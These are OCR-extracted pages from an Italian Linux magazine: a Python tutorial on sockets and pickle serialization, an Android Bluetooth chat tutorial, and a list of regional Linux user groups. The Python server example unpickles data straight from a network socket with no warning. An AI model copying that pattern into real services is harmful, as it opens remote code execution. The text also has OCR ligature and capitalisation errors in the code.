Come potete vedere il metodo accept() restituisce un socket client e un indirizzo che potete usare. Potete usare questo socket per ricevere il messaggio indirizzato a voi. Nel caso di un browser, come con la richiesta GET, il programma trasmetterà molte informazioni, come l’indirizzo a cui si trova e la stringa che specifi ca lo user agent, assieme al percorso delle informazioni a cui si sta cercando di accedere. Se steste creando un vero server Web, tutto questo sarebbe utile. Nel nostro codice stampiamo semplicemente la richiesta e ignoriamo cosa essa dice. È necessario spiegare la parte di codice client.recv(4096). Ci sono diversi modi per gestire le informazioni e ricevute da un socket. Come si fa classicamente in UNIX, un modo è usare i metodi .read() e .write, come se il socket sia un fi le; questo metodo è utile in diverse situazioni. L’alternativa è usare i metodi recv() e send(). Con il primo metodo dovete fornire la dimensione del buffer usato per ricevere le informazioni. La sua grandezza dipende da cosa pensate di inviare. Non fatelo troppo grande perché così facendo si rallenterà il programma e si potrebbero generare problemi in altre parti del sistema. Per il nostro esempio vi basta un piccolo buffer, 4096 può andare, anzi potrebbe essere perfi no troppo. Come potete vedere, per il metodo send() è suffi ciente indicare la stringa da inviare. Il semplice codice HTML che usiamo nell’esempio verrà mostrato in qualunque browser userete. Difatti, perché non lo eseguite e provate voi stessi? Ricordate solo di digitare localhost:1088 nella barra degli indirizzi. Bene, per ora avete visto quanto è facile implementare la parte server della questione, adesso è il momento di vedere come funziona la parte client. Come si può immaginare, questa parte è più semplice: import socket

s = socket.socket(socket.AF_INET, socket.SOCK_ STREAM) s.connect((“localhost”, 1088)) s.send(“ping”) result = s.recv(256) œ

Con quanto imparato potrete creare interfacce ipertestuali accessibili da ovunque

Se state per condividere molte classi tra le applicazioni client/server, vi conviene svilupparle come moduli – fatto ciò saprete che ogni programma ha le stesse defi nizioni aggiornate.

Tip

LXP130_84-87_python 85 06/06/13 01:52

Page 88: Linuxpro 130 Giugno 2013

86 LINUX PRO 130

Python

Non ipotizzate mai che il semplice fatto di aver instaurato una connessione sia suffi ciente a far arrivare il messaggio dall’altra parte – può succedere di tutto. Preparatevi per il peggio e aggiungete un sistema di rilevazione e correzione degli errori dove possibile, o il vostro server potrebbe bloccarsi.

Tip print result s.close()Ancora una volta, avete creato un socket dello stesso tipo usato prima, e di nuovo lo colleghiamo a localhost sullo stesso numero di porta, questa volta usando connect() al posto di bind(). La cosa importante da capire qui è che questo è il client: se ci stessimo collegando a un server su una macchina differente, avremmo usato il suo indirizzo invece di localhost per impostare il socket. In questo caso il metodo socket.connect() fallirà se il server che deve ricevere le richieste non ha un servizio collegato alla porta indicata, perché non c’è nulla a cui connettersi. Inoltre si può verifi care un fallimento anche per altri motivi, perché c’è un fi rewall lungo il percorso, per esempio, oppure la destinazione non esiste proprio. Se capita questo, il metodo connect() fa partire un’eccezione, quindi una implementazione corretta dei socket dovrebbe prevedere la sua gestione. Il metodo send() invia semplicemente una stringa. In questo caso si è scelto di spedire una semplice stringa, ma si possono far inviare informazioni ben più complicate e ci arriveremo tra poco. Una volta inviato il messaggio dovremmo ricevere la risposta dal server. Come prima, state per usare il metodo recv() per questo scopo, specifi cando il parametro relativo alla grandezza del buffer. Dopo aver stampato il risultato, si deve chiudere la connessione. La connessione andrà in timeout di default, e qualunque cosa a cui vi collegherete si attende di terminare in qualche modo il collegamento dopo lo scambio di dati, ma non può far certo del male essere educati.

Per il server, dovete solo modifi care un po’ il codice precedente per rispondere al messaggio inviato. #!/usr/bin/env python import socket

# crea un server server =socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((“localhost”, 1080)) server.listen(3) while True: (client, address) = server.accept() msg=client.recv(100) print “ricevuto ”, msg client.send(“pong”)In questo caso il codice stampa il messaggio ricevuto sullo stdout e replica con un altro messaggio. Come potete immaginare, se lo volete, potete costruire una qualche tipo di azione in base al messaggio ricevuto.

Il prossimo livelloFinora avete avuto a che fare con dei messaggi molto semplici. Qualche volta è tutto ciò che vi server – potete in questo modo effettuare, per esempio, il report sulle statistiche del server fornendo una pagina Web o trasmettendo i dati come stringhe. Se volete scambiare un numero, per esempio, basta rappresentarlo come una stringa e poi ritrasformalo in un intero, o in un altro valore, dall’altra parte. Certo, si potrebbero allo stesso modo trasmettere i dati in formato binario, ma sarebbe più complesso e anche poco utile. Se volete inviare una tupla, una lista o altri tipi di dati oggetto, dovete serializzarli. Questo, di fondo, vuol dire trasformare i dati in una forma che possa essere trasmessa facilmente (ad esempio una stringa) per poi ricostruirli all’altro capo. Magari avete già visto cose come JSON (JavaScript Object Notation). Questa è una particolare forma di JavaScript che incapsula i dati in modo seriale, rendendone semplice l’invio a un’altra applicazione. Python può fare uso di JavaScript, ma c’è una soluzione di gran lunga migliore per trattare con gli oggetti Python: il modulo Pickle. Usandolo potete trasformare qualunque oggetto Python e inviarlo come stringa a un altro programma. Questo modulo spesso viene usato per salvare su fi le i dati, ma sappiamo che sotto Linux tutto è un fi le (beh, quasi tutto). Ci sono diversi metodi all’interno del modulo Pickle, ma per questa guida ve ne servono solo due: data = pickle.dumps(a) b = pickle.loads(data)Il metodo dumps() restituisce una stringa partendo

Porte comuniQuando vi collegate a un socket, dovreste sapere che molte delle porte su una macchina standard sono già occupate o riservate. Questo non vuol dire che non potete usarle, ma sarebbe meglio evitarlo. Quasi tutte le porte sotto la 1024 sono occupate, sono nel blocco delle porte riservate e contengono servizi come∆ 20 e 21 - FTP∆ 22 - SSH∆ 35 - Printer∆ 53 - DNS∆ 67 e 68 - BOOTP∆ 80 - HTTPe così via. Ci sono porte non utilizzate, ma anch’esse cadono nella zona fi data delle porte sotto il 1024, quindi è meglio usare un numero di porta più grande. Molte delle porte sopra la 1024 sono riservate, tanto che per essere sicuri di trovarne una libera dovete andare oltre la 49152.

Voi dite ping, io rispondo pong. Se avviate entrambi i processi nello stesso terminale vedrete i due output senza cambiare vista

“Python può fare sicuramente uso di JavaScript, ma c’è una soluzione di gran lunga migliore”

LXP130_84-87_python 86 06/06/13 01:52

Page 89: Linuxpro 130 Giugno 2013

LINUX PRO 130 87

Python

da un oggetto. Il metodo loads(), invece, trasforma la stringa passatagli in un oggetto. È questo è tutto quello che dovete sapere su pickle. No, aspettate… In realtà c’è di più. Abbiamo già detto che potete fare tutto questo con un oggetto Python, vero? E non intendiamo farlo solo con tipi di dati primitivi come interi e liste. Potete estendere l’operazione a oggetti che avete creato voi stessi. Considerate questa classe d’esempio: class myobject(): def __init__(self, list1, list2): self.list1=list1 self.list2=list2Ok, non è niente di emozionante, sono solo due liste. Il punto è che non si tratta di un tipo primitivo. Se generate un’istanza di questo oggetto e lo riempite di dati, potete poi serializzarlo e inviarlo a un’altra applicazione attraverso un socket. L’unico cavillo è che la stessa defi nizione di classe deve essere presente nell’applicazione che riceve i dati (o meglio, non deve essere la stessa: deve avere lo stesso nome e supportare qualunque proprietà defi nite, ma i metodi possono essere diverse se volete). Per provare che l’oggetto funziona come ci si aspetta, potete fare in modo che il lato server faccia qualcosa con esso e poi che lo rimandi indietro. Questo non è diverso da un’applicazione reale che vorreste scrivere – il vostro client invia i dati per essere elaborati a un qualche super computer posto da qualche parte. Comunque ecco un esempio. Prima il codice dell’applicazione client: import socket import pickle

class myobject(): def __init__(self, list1, list2): self.list1=list1 self.list2=list2

x = myobject([1, 2, 3, 9, 4, 6, 7, 8, 5], [‘a’,’g’, ‘c’, ‘b’, ‘f’, ‘e’,’d’]) print x.list1 print x.list2 msg= pickle.dumps(x) s = socket.socket( socket.AF_INET, socket.SOCK_STREAM) s.connect((“localhost”, 1099)) s.send(msg) result = s.recv(1024) x = pickle.loads(result) print x.list1 print x.list2 s.close()Come potete vedere, il codice genera un’istanza dell’oggetto e riempie le liste con alcuni interi (notante che non sono stringhe) e alcuni caratteri. Il resto del listato è simile a quanto avete già visto prima, a parte il fatto che stampa le liste prima di inviarle. I dati ricevuti vengono ricomposti sopra la variabile originale e poi si ristampano le liste. Dal lato server, ci sono alcune modifi che: import socket import pickle

class myobject(): def __init__(self, list1, list2): self.list1=list1 self.list2=list2

# crea un server server =socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((“localhost”, 1099)) server.listen(3) while True: (client, address) = server.accept() msg=client.recv(1024) print “dati ricevuti ” x = pickle.loads(msg) x.list1.sort() x.list2.sort() msg= pickle.dumps(x) client.send(msg)Avendo ricevuto il messaggio dal client, si ricostruiscono i dati. Non è necessario dire a Python di che tipo di oggetto si tratta – l’identifi catore della classe è presente nei dati manipolati con i metodi di pickle e corrisponde alla defi nizione della classe che fornite. Le liste vengono ricostruite, e da questo punto in poi potete usarle come si fa di norma con le liste. In questo caso avete usato il metodo built-in sort() di una lista Python per ordinarla. Poi potete ripassare i dati al client, la sorgente, usando sempre i metodi di pickle. Dal lato client, quando l’oggetto viene ricevuto, i dati sono ordinati, come potete vedere dall’output che viene nuovamente stampato. Il nostro è per forza di cose un esempio semplice, ma è comunque utile. Ora potete inviare non solo semplici messaggi tra le applicazioni, ma anche oggetti complessi.

Se non vi bastaAnche se ora siete in grado di creare programmi che possono comunicare sfruttando la potenza dei socket, abbiamo scalfi to solo la superfi cie dell’argomento, specialmente dal lato server. Anche se un server è capace di gestire richieste multiple e simultanee in teoria, noi abbiamo sviluppato solo del codice lineare: non è proprio il meglio dal punto di vista delle prestazioni, specialmente se quello che volete fare richiede un po’ di tempo per elaborare i dati. Un modo per aggirare il problema è usare un dispatcher per i thread per passare ogni messaggio a un nuovo thread che lo elabori. Il loop principale del server può poi tornare a fare il suo lavoro d’ascolto delle connessioni in entrata. LXP

Ecco come appaiono alcuni dati JSON. Potete usarli in Python, ma il modulo Pickle vi offre una soluzione molto più semplice

LXP130_84-87_python 87 06/06/13 01:52

Page 90: Linuxpro 130 Giugno 2013

88 Linux pro 130

Android

Bluetooth è ormai disponibile per ogni sorta di hardware e consente di comunicare facilmente tra due dispositivi. in questo tutorial, scriverete

un servizio di messaggistica Bluetooth e scoprirete come effettuare il discovery di altri dispositivi (accoppiati o meno), come eseguire un server Bluetooth, richiedere la connessione come client e trasferire dati tra due

dispositivi. il progetto è stato disegnato per Android 10 (2.3.3) ma potrà essere tranquillamente eseguito sulle versioni successive. Troverete il codice completo nel DVD allegato ma ricordate, come sempre, che non funzionerà così com’è: dovrete creare il progetto Android, manualmente o tramite Eclipse, per compilare il tutto nel vostro ambiente locale.

per prima cosa dovrete modificare il file AndroidManifest.xml come specificato nel DVD allegato. per comunicare tramite Bluetooth, avete bisogno di un client e di un server. il server manterrà un BluetoothServerSocket aperto, in attesa di connessioni; il client creerà un BluetoothSocket, aprirà un canale rFCoMM verso il server e richiederà una connessione. il server l’accetterà e aprirà il proprio BluetoothSocket. non appena entrambe le parti avranno un BluetoothSocket aperto sullo stesso canale rFCoMM, saranno connesse e potrà avvenire il trasferimento dati. Stabilita la connessione, il server dovrebbe chiudere il proprio BluetoothServerSocket, a meno di voler mantenere connessioni multiple.Esistono, inoltre, due modi per gestire le connessioni:∆ scrivere client e server separatamente∆ scrivere un software che agisca sia da client che da server e che possa sia richiedere che accettare connessioni.La seconda opzione viene utilizzata da molte applicazioni Bluetooth ed è quella che utilizzerete qui. Se non possedete due smartphone per testare il tutto,

potrete utilizzare un server Java nel vostro computer. una volta connessi, sia client che server invieranno e riceveranno dati. La classe BluetoothiMService si occuperà quindi di tre operazioni separate:∆ ascolto per le connessioni in ingresso (server)∆ richieste di connessione (client)∆ gestione del trasferimento datiQueste attività utilizzeranno thread separati perciò sarà possibile attendere dati in ingresso senza interferire con il resto dell’applicazioni e il sistema stesso.Create e avviate il servizio come segue: public class BluetoothiMService { // Various fields; see code on DVD for details public BluetoothiMService(Context context, Handler h) { adapter = BluetoothAdapter.getDefaultAdapter(); handler = h; state = STATE_nonE; } public synchronized void start() { if (connectThread != null) {connectThread.cancel(); connectThread = null;} if (dataThread != null) {dataThread.cancel(); dataThread = null;} setState(STATE_LiSTEn); if (acceptThread == null) { acceptThread = new AcceptThread(true); acceptThread.start(); }

}

}il metodo start() cancella ogni thread esistente, sia che stia tentando la connessione o che stia già inviando dati (perciò non potrete recuperare sessioni esistenti), e se necessario avvia un nuovo thread server per accettare le connessioni in ingresso. Verificate il metodo helper setState() nel DVD, necessario per identificare lo stato corrente e inviare tali informazioni all’Activity principale.

Comunicare via Bluetooth

Alla ricerca di dispositivi vicini e accoppiati

Comunicazioni facilicon il BluetoothScoprite con Linux Pro come utilizzare il Bluetooth per far comunicare il vostro telefono con gli altri dispositivi e creare un servizio di messaggistica

LXP130_88-91_android 88 06/06/13 14:51

Page 91: Linuxpro 130 Giugno 2013

Linux pro 130 89

Android

il thread server, AcceptThread, è troppo lungo da riportare in queste pagine perciò lo troverete nel DVD. per creare un socket di ascolto, viene utilizzato il metodo listenUsingRfcommWithServiceRecord() fornito dalle Api. Questi necessita di un uuiD e un nome di servizio per aggiungere un service record a rFCoMM. L’uuiD identifica univocamente il servizio e deve essere lo stesso per client e server al fine della connessione. per generare un uuiD potete utilizzare un servizio online. il metodo run() controlla di non essere già connessi a un device (se lo si è non accetterete altre connessioni in ingresso e in caso contrario si mette in ascolto). La chiamata a serverSocket.accept() è bloccante, ovvero ritornerà solamente nel caso avvenga una connessione o un’eccezione. non ci sarà timeout. Ecco però è vitale eseguirlo come thread separato per non impattare sul sistema. A connessione accettata (quando il socket ha valore diverso da null) agirete in funzione dello stato attuale del servizio. Se il servizio è in connessione si procederà con l’avvio del thread apposito nel metodo connected() della classe principale, che vedrete tra un attimo. Se invece il server è già connesso, dovrete staccare il socket dato che è ammessa una sola connessione.

Agire come clientLa classe AcceptThread agisce come server. Che dire della parte client? Dovrete impostare un metodo connect() e una classe interna ConnectThread. public synchronized void connect(BluetoothDevice device) { if (state == STATE_ConnECTinG) { if (connectThread != null) {connectThread.cancel(); connectThread = null;} } if (dataThread != null) {dataThread.cancel(); dataThread = null;} connectThread = new ConnectThread(device); connectThread.start(); setState(STATE_ConnECTinG); }nel caso vi sia una connessione in corso viene cancellato il thread corrispondente. Vengono inoltre rimosse eventuali connessioni già stabilite, per poi creare e avviare un nuovo ConnectThread: private class ConnectThread extends Thread { private final BluetoothSocket socket; private final BluetoothDevice device; public ConnectThread(BluetoothDevice d) { device = d; BluetoothSocket tmp = null; try { tmp = device.createrfcommSocketToServicerecord(MY_uuiD); } catch (ioException e) { Log.e(TAG, “create() failed”, e); } socket = tmp; } public void run() { setname(“ConnectThread”); adapter.cancelDiscovery(); try {

socket.connect(); } catch (ioException e) { try { socket.close(); } catch (ioException e2) { Log.e(TAG, “unable to close() socket during connection failure”, e2); } connectionFailed(); return; } synchronized (BluetoothiMService.this) { connectThread = null; } connected(socket, device); } public void cancel() { try { socket.close(); } catch (ioException e) { Log.e(TAG, “close() of connect socket failed”, e); } } } Dato che la variabile socket è final e può essere inizializzata una sola volta, il costruttore utilizza createRfcommSocketToServiceRecord() per creare un BluetoothSocket rFCoMM verso il servizio identificato da uuiD. il metodo socket.connect() è anch’esso bloccante perciò dovrete eseguirlo in un thread separato. nel caso si verifichi un’eccezione, non sarà possibile connettersi e si dovrà chiudere il socket e terminare il metodo. in caso di avvenuta connessione, viene richiamato il metodo connected() nella classe esterna.

Trasferire i datiA questo punto, sia che sia stato avviato un server (con AcceptThread) o un client (con ConnectThread), avrete un socket connesso con il quale dover fare qualcosa. il metodo connected() di BluetoothiMService si presenta come segue: public synchronized void connected(BluetoothSocket socket, BluetoothDevice device) { if (connectThread != null) { connectThread.cancel(); connectThread = null; } if (dataThread != null) { dataThread.cancel(); dataThread = null; } if (acceptThread != null) { acceptThread.cancel(); acceptThread = null; } dataThread = new DataTransferThread(socket); dataThread.start(); Message msg = handler.obtainMessage(BluetoothiM. MESSAGE_DEViCE_nAME); Bundle bundle = new Bundle(); bundle.putString(BluetoothiM.DEViCE_nAME, device.getname()); msg.setData(bundle); handler.sendMessage(msg); setState(STATE_ConnECTED); }

Connettiamoci!

œ

LXP130_88-91_android 89 06/06/13 14:51

Page 92: Linuxpro 130 Giugno 2013

90 Linux pro 130

Android

L’emulatore non supporta il Bluetooth; per i test, dovrete usare un device reale o al più una macchina virtuale con Android x86.

TipAnche in questo caso vengono cancellati tutti i thread esistenti, per poi creare un DataTransferThread per inviare e ricevere messaggi. Viene inoltre comunicato il nome del device al quale ci si sta connettendo all’Activity principale. per motivi di spazio non riportiamo DataTransferThread in queste pagine ma potete trovarlo nel DVD (diamo per scontato che vi manchi la pazienza di riscrivere totalmente il codice). il costruttore imposta il socket, inputStream e outputStream e connette gli stream ai socket.il metodo run() ascolta inputStream e passa i messaggi ricevuti all’Activity principale tramite l’handler. il metodo write() nel thread viene chiamato dal metodo write() della classe BluetoothiMService: public void write(byte[] out) { DataTransferThread r; synchronized (this) { if (state != STATE_ConnECTED) return; r = dataThread; } r.write(out); } oltre a questi sono presenti un paio di metodi per gestire la connessione (per connessioni perse o fallite) – si veda il DVD per ulteriori dettagli.

Assemblando le ActivityA questo punto avete la lista dei dispositivi disponibili, con un servizio di backend pronto per connettersi e gestire il trasferimento dati. il prossimo passo è quello di iniziare una connessione con un particolare dispositivo.per prima cosa, avviate AcceptThread all’avvio dell’Activity per rispondere al caso in cui ci sia un altro device in attesa di connessione. Aggiungete quanto segue al metodo onStart(): if (!bluetoothAdapter.isEnabled()) { // Vedi “Tip” se il Bluetotth non è abiliato

} else { if (imService == null) { imService = new BluetoothiMService(this, handler); } ensureDiscoverable(); }il metodo ensureDiscoverable() (si vedano i dettagli nel DVD) abilita la discoverability per cinque minuti. potreste pensare di includere questa funzionalità nel menu invece che avviarla automaticamente.Aggiungere un onClickListener alla lista dei dispositivi, per connettervi al dispositivo con un click: // Aggiungere linee analoghe nei metodi di scansione pairedDevicesListView.setonitemClickListener( listonClickListener); // .... private AdapterView.onitemClickListener listonClickListener = new AdapterView.onitemClickListener() { public void onitemClick(AdapterView<?> parent, View view, int position, long id) { String device[] = ((String)parent.getitemAtposition(position)).split(“\\n”); BluetoothDevice chosenDevice = bluetoothAdapter.getremoteDevice(device[1]); unregisterreceiver(receiver); isreceiverregistered = false; setupiM(); imService.connect(chosenDevice); } };il metodo deregistra Broadcastreceiver (non vengono più ricercati nuovi dispositivi dato che ci si connetterà con il dispositivo indicato), imposta le basi per il messaging e avvia il servizio BluetoothiMService per comunicare con il dispositivo scelto.

potreste aver notato che i metodi di BluetoothiMService sono marcati con la parola chiave synchronized. Questa è molto importante data la presenza di multipli thread che accedono alle sue risorse.Marcare un metodo come synchronized signifi ca che solo un thread può accedervi contemporaneamente; ogni altro thread

dovrà attendere. nel vostro caso, questa impostazione risolve il problema in cui AcceptThread ottenga una connessione mentre ConnectThread ne sta iniziando una. il primo thread che accede a un metodo synchronized bloccherà quindi tutti gli altri durante l’esecuzione del metodo, nel caso questi thread debbano accederci.

il metodo write() della classe, tuttavia, non è sincronizzato e in questo modo l’utente potrà inviare messaggi nonostante altri stiano già per essere scritti. Viene infatti utilizzato un blocco sincronizzato interno per ottenere una copia del thread senza confl itti e viene scritto il messaggio fuori dal blocco.

Sincronizzazione

Al fi ne di visualizzare una conversazione, per prima cosa dovrete cambiare il layout corrente. utilizzerete una Lista per i messaggi inviati e ricevuti, con una EditBox per inserire i nuovi e un pulsante per inviarli. il metodo setupIM() sarà il seguente (per l’xML fate riferimento al DVD): private void setupiM() { setContentView(r.layout.messaging); conversationArrayAdapter = new ArrayAdapter<String>(this, r.layout.message); conversationListView = (ListView) fi ndViewByid(r.id.conversation); conversationListView.setAdapter(conversationArrayA dapter);

messageoutEditText = (EditText) fi ndViewByid(r.id.send_edittext); messageoutEditText.setonEditorActionListener( writeListener); sendButton = (Button) fi ndViewByid(r.id.button_send); sendButton.setonClickListener(new onClickListener() { public void onClick(View v) { TextView view = (TextView) fi ndViewByid( r.id.send_edittext); String message = view.getText().toString(); sendMessage(message); } }); if (imService == null) {

Inviare e ricevere messaggi

LXP130_88-91_android 90 06/06/13 14:51

Page 93: Linuxpro 130 Giugno 2013

Linux pro 130 91

Android

imService = new BluetoothiMService(this, handler); } outMessageBuffer = new StringBuffer(“”); }L’ArrayAdapter comunica con la ListView mentre un click sul pulsante invierà il contenuto dell’EditText come messaggio. Viene, infi ne, inizializzato il servizio iM se necessario e il buffer per i messaggi in uscita.il metodo sendMessage() chiama il servizio iM per trasferire i dati: private void sendMessage(String message) { if (imService.getState() != BluetoothiMService.STATE_ConnECTED) { Toast.makeText(this, r.string.notConnected, Toast.LEnGTH_SHorT).show(); return; } if (message.length() > 0) { byte[] send = message.getBytes(); imService.write(send); outMessageBuffer.setLength(0); messageoutEditText.setText(outMessageBuffer); } }per prima cosa, si controlla che il servizio sia connesso e, se è presente un messaggio da inviare, questi viene scritto nel servizio di iM e viene resettato il buffer, insieme all’EditText. per i messaggi in ingresso, invece? il thread DataTransferThread nella classe BluetoothiMService rimane in ascolto per dati in ingresso e invia, alla ricezione degli stessi, un messaggio attraverso un handler. Gli handler consentono la gestione di messaggi e runnable, schedulando azioni future e creando code di azioni da eseguire in altri thread. private fi nal Handler handler = new Handler() { public void handleMessage(Message msg) { switch (msg.what) { case MESSAGE_STATE_CHAnGE: switch (msg.arg1) { case BluetoothiMService.STATE_ ConnECTED: setupiM(); conversationArrayAdapter.clear(); break; case BluetoothiMService.STATE_ ConnECTinG: case BluetoothiMService.STATE_ LiSTEn: case BluetoothiMService.STATE_ nonE:

break; } break; case MESSAGE_WriTE: byte[] writeBuf = (byte[]) msg.obj; String writeMessage = new String(writeBuf); conversationArrayAdapter. add(getresources().getString(r.string.thisDevice) + getresources().getString( r.string.idDivider) + writeMessage); break; case MESSAGE_rEAD: byte[] readBuf = (byte[]) msg.obj; String readMessage = new String(readBuf, 0, msg.arg1); conversationArrayAdapter. add(connectedDevicename + getresources().getString( r.string.idDivider) + readMessage); break; case MESSAGE_DEViCE_nAME: connectedDevicename = msg.getData().getString(DEViCE_nAME); Toast.makeText(getApplicationContext(), getresources().getString( r.string.connectionSucceededDisplay) + connectedDevicename, Toast.LEnGTH_SHorT).show(); break; case MESSAGE_ToAST: Toast.makeText(getApplicationContext(), msg.getData().getString(ToAST), Toast.LEnGTH_SHorT).show(); break; } } };non appena il servizio di iM è connesso, viene ripulita la vista dei messaggi. All’invio di un messaggio, lo stesso viene aggiunto all’ArrayAdapter per la visualizzazione. Alla ricezione invece, viene effettuata la stessa operazione aggiungendo il nome del dispositivo che l’ha inviato. nel caso si riceva il nome del dispositivo viene impostata la variabile corrispondente e visualizzato un messaggio Toast. Tutto qui! Compilate, eseguite e provate il sistema con un paio di smartphone. potete apportare molte migliorie a questo sistema, per esempio utilizzare tab multipli per connessioni contemporanee. potreste anche adattare il codice per essere mono-direzionale invece che bidirezionale per effettuare il broadcast di messaggi Bluetooth. LXP

nel caso il Bluetooth sia supportato ma non abilitato l’applicazione crasherà durante l’accesso a BluetoothAdapter. potreste tuttavia dare la possibilità all’utente di abilitare il Bluetooth all’avvio.Aggiungete queste righe a BluetoothIM.onStart(): if (!bluetoothAdapter.isEnabled()) { intent btintent = new intent(BluetoothAdapter. ACTion_rEQuEST_EnABLE); startActivityForresult(btintent, rEQuEST_EnABLE_BT); } else { // the next lines are already there

if (imService == null) { imService = new BluetoothiMService( this, handler); } }Dovrete inoltre implementare il metodo onResume() per gestire eventuali modifi che durante la pausa dell’Activity per riabilitare il Bluetooth: public synchronized void onresume() { super.onresume(); if (imService != null) {

if (imService.getState() == BluetoothiMService.STATE_nonE) { imService.start(); } }

}nel caso non sia stato avviato il servizio, questi viene avviato esplicitamente (si noti che onStart() viene chiamato prima di onResume() al resume, perciò nel caso non ci sia un servizio iM questi viene creato).

Se il Bluetooth non è abilitato

LXP130_88-91_android 91 06/06/13 14:51

Page 94: Linuxpro 130 Giugno 2013

i LugI LUG rappresentano da sempre il punto di riferimento per chiunque voglia conoscere GNU/Linux. Ogni mese dedicheremo loro questo spazio per la comunicazione di nuovi progetti e appuntamenti

92 Linux pro 130

L’eco dei LUG

aBrUZZOanxaLUG - Lancianowww.anxalug.orgil Pinguino - TeramoNon disponibileMarsicaLUG - Marsicawww.marsicalug.it OpenLUG - L’aquilaNon disponibilePescara LUGwww.pescaralug.orgPineto LUGwww.pinetolug.orgPollinux LUG - Pollutri Non disponibileSSVLUG - San Salvo, Vasto, Termoliwww.ssvlug.orgSulmonaLUGhttp://sulmonalug.itTeateLUG - ChietiNon disponibileTeLUG - Teramowww.telug.itUser Group Valle rovetohttp://linuxvalley-os4.blogspot.com/

BaSiLiCaTaBasilicata LUG - Potenza e Materawww.baslug.org

CaLaBria3BYLug - Trebisaccewww.3bylug.tkBogomips - Bisignanowww.blug.itCastroLUGhttp://castrolug.altervista.orgCosenza hack Laboratoryhttp://hacklab.cosenzainrete.it/CSLUG - Cosenzahttp://cslug.linux.itCzLug Non disponibilehackLab Catanzarohttp://hacklab.czPiana LUG - Piana di Gioia Tauro Non disponibilereggio Calabria LUG http://rclug.linux.it revolutionary Mind www.revolutionarymind.org SpixLug - Spezzano albaneseNon disponibile

CaMPaniaaFr@Linux LUGwww.afralinux.netsons.orgafralug - afragolawww.afralug.comCasertaLUGwww.casertaglug.orghackaserta 81100www.81100.eu.orghackMeetnaples napoli hackLabwww1.autistici.org/hmniGLUG - napoli e provincia

www.iglug.orgirLUG - irpiniawww.irlug.itLUG-ischia www.lug-ischia.orgnaLUG - napoli www.nalug.netneapolis hacklabwww.officina99.org/hacklab.htmlPadulug - Paduli (Bn)http://linux.paduli.comSCaLUG - Scafati (Sa)http://xoomer.alice.it/scalug/Tuxway.org - Provincia di napoliwww.tuxway.orgVaLug - Vallo Linux User Groupwww.valug.itXaLUG - Salernohttp://xalug.tuxlab.org

eMiLia rOMaGnaaLFLUG - alfonsinewww.alflug.itBorgotaro LUG - Val Tarohttp://btlug.it/ConoscereLinux - Modena www.conoscerelinux.iterLUGhttp://erlug.linux.itFerrara LUG www.ferrara.linux.itFoLUG - Forlìhttp://folug.linux.itimoLUG - imolawww.imolug.orgLUGPiacenzawww.lugpiacenza.orgPanLUG - VignolaNon disponibilePLUG - Parmahttp://parma.linux.itravennaLUGwww.ravennalug.orgreLug - reggio emilia e provinciahttp://relug.linux.itriminiLugwww.riminilug.itS.P.r.i.Te http://sprite.csr.unibo.itUieLinux - Valle del rubiconewww.uielinux.org

FriULi VeneZia GiULiaGOLUG - Goriziawww.golug.itiGLU - Udinehttp://iglu.cc.uniud.itLUG Pordenonewww.pordenone.linux.itLugTrieste http://trieste.linux.itLUG [a] [L] [P] - aquileia www.alproject.org

LaZiOCiLUG - Frosinonewww.cilug.org

CLUG - Cassino http://cassino.linux.it/GioveLUG - Terracina www.giovelug.orgLa Sapienza LUG www.lslug.orgLatina LUGwww.llg.itLUG Privernum Volsca - Priverno (LT)www.pvlug.orgLUG rieti www.lugrieti.netLUGroma www.lugroma.orgLUGroma 3www.lugroma3.orgTorLUG - Università Tor Vergata - roma www.torlug.orgV.i.S.C.O.S.a. - Ciampino www.viscosa.org

LiGUriaGenuense Lug - Genova e d’intornihttp://genova.linux.itLugGe - Genova e provinciawww.lugge.netGinLug - Genova Sampierdarenawww.sennaweb.orgGovonis GnU/LUG - Provincia di Savonawww.govonis.orgSavonaLug - Savonahttp://savona.linux.it/TLug-TSL - Tigullio Ligurehttp://tlug.linux.it/

LOMBarDiaBGLug - Bergamo e provinciawww.bglug.itBGLug Valle Seriana - Valle Serianahttp://bglugvs.web3king.com/GL-Como - Comowww.gl-como.itGLUX - Lecco e provinciawww.lecco.linux.itGULLP - Gruppo Utenti Linux Lonate Pozzolowww.gullp.itispraLUG - isprahttp://ispralug.eu/LiFO - Varesewww.lifolab.orgLiFOS - Cinisello Balsamowww.lifos.orgLinux Var - Varesewww.linuxvar.itLoLug - Lodi e provinciawww.lolug.orgLug Bocconi - Milanowww.lug-bocconi.orgLugBS - Brescia e provinciahttp://lugbs.linux.it/Lug Castegnato - Castegnatowww.kenparker.eu/LugCastegnatoLugCr - Cremona e provinciawww.lugcr.itLug Crema - Cremahttp://filibusta.crema.unimi.it/

L’eco dei LUG

LXP130_92-93_lug 92 06/06/13 01:52

Page 95: Linuxpro 130 Giugno 2013

Linux pro 130 93

L’eco dei LUG

LUGDucale - Vigevanowww.lugducale.itLugMan - Mantova e provinciawww.lugman.orgLugOB - Cologne e ovest brescianowww.lugob.orgMoBLUG - Monza e Brianzawww.bubblesfactory.itOpenLabs - Milanowww.openlabs.itPOuL - Milanowww.poul.orgTiLug - Paviahttp://pavia.linux.itViGLug - Vignatewww.viglug.org

MarCheascolinux LUG/FSUG ascolihttp://marche.linux.it/ascoli/CameLUG - Camerinowww.camelug.itCMlugwww.cmlug.orgegloowww.egloo.orgFanoLUGwww.fanolug.orgFermo LUGwww.linuxfm.org/fermolug/GLM - Maceratawww.gruppolinuxmc.it/start/index.phpLUG ancona www.egloo.orgLUG Jesiwww.lugjesi.netLUG Marchehttp://marche.linux.itPDP Free Software User Grouphttp://pdp.linux.itPicenix - Picenohttp://picenix.altervista.orgSenaLug - Senigalliawww.lug.senigallia.biz

MOLiSeCampobasso LUGhttp://cb.linux.it/FrenterLUG - Larinonon disponibileSmaLUG - San Martinowww.smalug.org

PieMOnTeaBC Lug - alba/Bra/Carmagnolahttp://abc.linux.it/alLug - alessandria e provinciawww.allug.itBiLUG - Provincia di Biellawww.bilug.linux.itFaSoLi - alessandria e provinciahttp://softwarelibero.al.it/Gallug - Galliatewww.gallug.itGlugTO - Torino e provinciawww.torino.linux.itivLug - ivrea Linux User Groupwww.ivlug.itSLiP - Pinerolohttp://pinerolo.linux.it/ValSusinux - Val Susa e Val Sangonewww.valsusinux.it

PUGLiaBriLUG - Brindisiwww.brilug.itCapitanLUG - Capitanatawww.capitanlug.it

